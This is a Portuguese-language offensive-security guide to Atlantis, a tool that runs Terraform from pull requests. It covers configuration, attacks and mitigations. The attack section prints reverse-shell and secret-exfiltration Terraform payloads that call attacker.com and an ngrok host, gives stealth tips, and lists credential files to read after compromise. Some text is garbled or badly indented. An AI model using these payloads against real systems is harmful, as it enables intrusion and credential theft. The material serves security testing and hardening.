Atlantis Security

Reading time: 17 minutes

Informações Básicas

Atlantis basicamente ajuda você a executar terraform a partir de Pull Requests do seu servidor git.

Laboratório Local

1. Vá para a página de lançamentos do atlantis em https://github.com/runatlantis/atlantis/releases e baixe a que melhor se adapta a você.
2. Crie um token pessoal (com acesso ao repositório) do seu usuário github.
3. Execute ./atlantis testdrive e isso criará um repositório de demonstração que você pode usar para se comunicar com atlantis.
4. Você pode acessar a página da web em 127.0.0.1:4141.

Acesso ao Atlantis

Credenciais do Servidor Git

Atlantis suporta vários hosts git, como Github, Gitlab, Bitbucket e Azure DevOps.
No entanto, para acessar os repositórios nessas plataformas e realizar ações, é necessário ter algum acesso privilegiado concedido a eles (pelo menos permissões de escrita).
A documentação recomenda criar um usuário nessas plataformas especificamente para o Atlantis, mas algumas pessoas podem usar contas pessoais.

Webhooks

Atlantis usa opcionalmente segredos de Webhook para validar que os webhooks que recebe do seu host Git são legítimos.

Uma maneira de confirmar isso seria permitir que as solicitações venham apenas dos IPs do seu host Git, mas uma maneira mais fácil é usar um Segredo de Webhook.

Observe que, a menos que você use um servidor privado do github ou bitbucket, você precisará expor os endpoints de webhook para a Internet.

Credenciais do Provedor

Da documentação:

Atlantis executa Terraform simplesmente executando os comandos terraform plan e apply no servidor onde o Atlantis está hospedado. Assim como quando você executa o Terraform localmente, o Atlantis precisa de credenciais para seu provedor específico.

Cabe a você como fornecer credenciais para seu provedor específico ao Atlantis:

• O Helm Chart do Atlantis e o Módulo AWS Fargate têm seus próprios mecanismos para credenciais de provedor. Leia a documentação deles.
• Se você estiver executando o Atlantis em uma nuvem, muitas nuvens têm maneiras de conceder acesso à API da nuvem a aplicativos que estão sendo executados nelas, ex:
• Funções AWS EC2 (Pesquise por "Função EC2")
• Contas de Serviço de Instância GCE
• Muitos usuários definem variáveis de ambiente, ex. AWS_ACCESS_KEY, onde o Atlantis está sendo executado.
• Outros criam os arquivos de configuração necessários, ex. ~/.aws/credentials, onde o Atlantis está sendo executado.
• Use o HashiCorp Vault Provider para obter credenciais de provedor.

Página da Web

Por padrão, o Atlantis executará uma página da web na porta 4141 no localhost. Esta página apenas permite que você habilite/desabilite o atlantis apply e verifique o status do plano dos repositórios e os desbloqueie (não permite modificar coisas, então não é tão útil).

Provavelmente você não a encontrará exposta à internet, mas parece que por padrão nenhuma credencial é necessária para acessá-la (e se forem, atlantis:atlantis são as padrões).

Configuração do Servidor

A configuração para atlantis server pode ser especificada por meio de flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma mistura dos três.

• Você pode encontrar aqui a lista de flags suportadas pelo servidor Atlantis.
• Você pode encontrar aqui como transformar uma opção de configuração em uma variável de ambiente.

Os valores são escolhidos nesta ordem:

1. Flags
2. Variáveis de Ambiente
3. Arquivo de Configuração

Configuração dos Repositórios

Algumas configurações afetam como os repositórios são gerenciados. No entanto, é possível que cada repositório exija configurações diferentes, então existem maneiras de especificar cada repositório. Esta é a ordem de prioridade:

1. Arquivo /atlantis.yml. Este arquivo pode ser usado para especificar como o atlantis deve tratar o repositório. No entanto, por padrão, algumas chaves não podem ser especificadas aqui sem algumas flags permitindo isso.
2. Provavelmente necessário ser permitido por flags como allowed_overrides ou allow_custom_workflows.
3. Configuração do Lado do Servidor: Você pode passá-la com a flag --repo-config e é um yaml configurando novas configurações para cada repositório (regexes suportados).
4. Valores padrão.

Proteções de PR

Atlantis permite indicar se você deseja que o PR seja aprovado por outra pessoa (mesmo que isso não esteja definido na proteção de branch) e/ou ser mesclável (proteções de branch aprovadas) antes de executar apply. Do ponto de vista de segurança, definir ambas as opções é recomendado.

Caso allowed_overrides seja True, essas configurações podem ser sobrescritas em cada projeto pelo arquivo /atlantis.yml.

Scripts

A configuração do repositório pode especificar scripts para serem executados antes (ganchos de pré-workflow) e depois (ganchos de pós-workflow) de um workflow ser executado.

Não há nenhuma opção para permitir especificar esses scripts no arquivo de repositório /atlantis.yml.

Workflow

Na configuração do repositório (configuração do lado do servidor), você pode especificar um novo workflow padrão, ou criar novos workflows personalizados. Você também pode especificar quais repositórios podem acessar os novos gerados.
Então, você pode permitir que o arquivo atlantis.yaml de cada repositório especifique o workflow a ser usado.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Verificação de Políticas Conftest

Atlantis suporta a execução de políticas conftest do lado do servidor contra a saída do plano. Casos de uso comuns para usar esta etapa incluem:

• Negar o uso de uma lista de módulos.
• Afirmar atributos de um recurso no momento da criação.
• Capturar exclusões de recursos não intencionais.
• Prevenir riscos de segurança (ou seja, expor portas seguras ao público).

Você pode verificar como configurá-lo na documentação.

Comandos do Atlantis

Na documentação você pode encontrar as opções que pode usar para executar o Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataques

Você pode corrigir isso executando:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Modificação de configuração em um novo PR

Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar um PR. Se você puder executar atlantis plan (ou talvez seja executado automaticamente) você poderá RCE dentro do servidor Atlantis.

Você pode fazer isso fazendo com que Atlantis carregue uma fonte de dados externa. Basta colocar um payload como o seguinte no arquivo main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Ataque Mais Discreto

Você pode realizar este ataque de uma maneira mais discreta, seguindo estas sugestões:

• Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode carregar um recurso externo que contém o rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Você pode encontrar o código rev shell em https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

• No recurso externo, use o recurso ref para ocultar o código rev shell do terraform em um branch dentro do repositório, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
• Em vez de criar um PR para master para acionar o Atlantis, crie 2 branches (test1 e test2) e crie um PR de um para o outro. Quando você tiver concluído o ataque, apenas remova o PR e os branches.

Dump de Segredos do Atlantis

Você pode dump secrets usados pelo terraform executando atlantis plan (terraform plan) colocando algo assim no arquivo terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis aplica RCE - Modificação de configuração em nova PR

Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar uma PR. Se você puder executar atlantis apply, poderá RCE dentro do servidor Atlantis.

No entanto, você geralmente precisará contornar algumas proteções:

• Mergeable: Se essa proteção estiver definida no Atlantis, você só poderá executar atlantis apply se a PR for mergeable (o que significa que a proteção do branch precisa ser contornada).
• Verifique possíveis contornos de proteções de branch
• Aprovado: Se essa proteção estiver definida no Atlantis, outro usuário deve aprovar a PR antes que você possa executar atlantis apply
• Por padrão, você pode abusar do token do Gitbot para contornar essa proteção

Executando terraform apply em um arquivo Terraform malicioso com local-exec.
Você só precisa garantir que algum payload como os seguintes termine no arquivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Siga as sugestões da técnica anterior para realizar este ataque de uma forma mais furtiva.

Injeção de Parâmetros do Terraform

Ao executar atlantis plan ou atlantis apply, o terraform está sendo executado por baixo, você pode passar comandos para o terraform a partir do atlantis comentando algo como:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Algo que você pode passar são variáveis de ambiente que podem ser úteis para contornar algumas proteções. Verifique as variáveis de ambiente do terraform em https://www.terraform.io/cli/config/environment-variables

Fluxo de Trabalho Personalizado

Executando comandos de build personalizados maliciosos especificados em um arquivo atlantis.yaml. O Atlantis usa o arquivo atlantis.yaml do branch da pull request, não do master.
Essa possibilidade foi mencionada em uma seção anterior:

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Contornar proteções de plan/apply

Se a flag de configuração do lado do servidor allowed_overrides tiver apply_requirements configurado, é possível que um repositório modifique as proteções de plan/apply para contorná-las.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Se alguém enviar atlantis plan/apply comentários em seus pull requests válidos, isso fará com que o terraform seja executado quando você não quiser.

Além disso, se você não tiver configurado na proteção de branch para pedir para reevaluar cada PR quando um novo commit for enviado para ele, alguém poderia escrever configs maliciosas (ver cenários anteriores) na configuração do terraform, executar atlantis plan/apply e obter RCE.

Esta é a configuração nas proteções de branch do Github:

Webhook Secret

Se você conseguir roubar o webhook secret usado ou se não houver nenhum webhook secret sendo usado, você poderia chamar o webhook do Atlantis e invocar comandos do atlantis diretamente.

Bitbucket

O Bitbucket Cloud não suporta webhook secrets. Isso poderia permitir que atacantes falsificassem solicitações do Bitbucket. Certifique-se de permitir apenas IPs do Bitbucket.

• Isso significa que um atacante poderia fazer solicitações falsas para o Atlantis que parecem estar vindo do Bitbucket.
• Se você estiver especificando --repo-allowlist, então eles poderiam apenas falsificar solicitações relacionadas a esses repositórios, então o maior dano que poderiam causar seria planejar/aplicar em seus próprios repositórios.
• Para evitar isso, adicione à lista de permissões os endereços IP do Bitbucket (veja Endereços IPv4 de saída).

Post-Exploitation

Se você conseguiu acessar o servidor ou pelo menos obteve um LFI, há algumas coisas interessantes que você deve tentar ler:

• /home/atlantis/.git-credentials Contém credenciais de acesso ao vcs
• /atlantis-data/atlantis.db Contém credenciais de acesso ao vcs com mais informações
• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Arquivo de estado do Terraform
• Exemplo: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
• /proc/1/environ Variáveis de ambiente
• /proc/[2-20]/cmdline Linha de comando do atlantis server (pode conter dados sensíveis)

Mitigations

Don't Use On Public Repos

Porque qualquer um pode comentar em pull requests públicos, mesmo com todas as mitigations de segurança disponíveis, ainda é perigoso executar o Atlantis em repositórios públicos sem a configuração adequada das configurações de segurança.

Don't Use --allow-fork-prs

Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir --allow-fork-prs (padrão é falso) porque qualquer um pode abrir um pull request de seu fork para seu repositório.

--repo-allowlist

O Atlantis exige que você especifique uma lista de permissões de repositórios dos quais aceitará webhooks através da flag --repo-allowlist. Por exemplo:

• Repositórios específicos: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
• Sua organização inteira: --repo-allowlist=github.com/runatlantis/*
• Todos os repositórios na sua instalação do GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
• Todos os repositórios: --repo-allowlist=*. Útil quando você está em uma rede protegida, mas perigoso sem também definir um webhook secret.

Essa flag garante que sua instalação do Atlantis não esteja sendo usada com repositórios que você não controla. Veja atlantis server --help para mais detalhes.

Protect Terraform Planning

Se atacantes estiverem enviando pull requests com código malicioso do Terraform no seu modelo de ameaça, então você deve estar ciente de que as aprovações do terraform apply não são suficientes. É possível executar código malicioso em um terraform plan usando a external data source ou especificando um provedor malicioso. Esse código poderia então exfiltrar suas credenciais.

Para evitar isso, você poderia:

1. Incorporar provedores na imagem do Atlantis ou hospedar e negar egress em produção.
2. Implementar o protocolo de registro de provedores internamente e negar egress público, assim você controla quem tem acesso de escrita ao registro.
3. Modificar o configuração do repositório do lado do servidor's passo plan para validar contra o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validação extra neste ponto, por exemplo, exigindo um "joinha" no PR antes de permitir que o plan continue. O Conftest poderia ser útil aqui.

Webhook Secrets

O Atlantis deve ser executado com Webhook secrets definidos através das variáveis de ambiente $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Mesmo com a flag --repo-allowlist definida, sem um webhook secret, atacantes poderiam fazer solicitações ao Atlantis se passando por um repositório que está na lista de permissões. Webhook secrets garantem que as solicitações de webhook estão realmente vindo do seu provedor de VCS (GitHub ou GitLab).

Se você estiver usando Azure DevOps, em vez de webhook secrets, adicione um nome de usuário e senha básicos.

Azure DevOps Basic Authentication

O Azure DevOps suporta o envio de um cabeçalho de autenticação básica em todos os eventos de webhook. Isso requer o uso de uma URL HTTPS para sua localização de webhook.

SSL/HTTPS

Se você estiver usando webhook secrets, mas seu tráfego estiver sobre HTTP, então os webhook secrets poderiam ser roubados. Ative SSL/HTTPS usando as flags --ssl-cert-file e --ssl-key-file.

Enable Authentication on Atlantis Web Server

É altamente recomendado habilitar a autenticação no serviço web. Ative o BasicAuth usando --web-basic-auth=true e configure um nome de usuário e uma senha usando as flags --web-username=yourUsername e --web-password=yourPassword.

Você também pode passar isso como variáveis de ambiente ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername e ATLANTIS_WEB_PASSWORD=yourPassword.

References

• https://www.runatlantis.io/docs
• https://www.runatlantis.io/docs/provider-credentials.html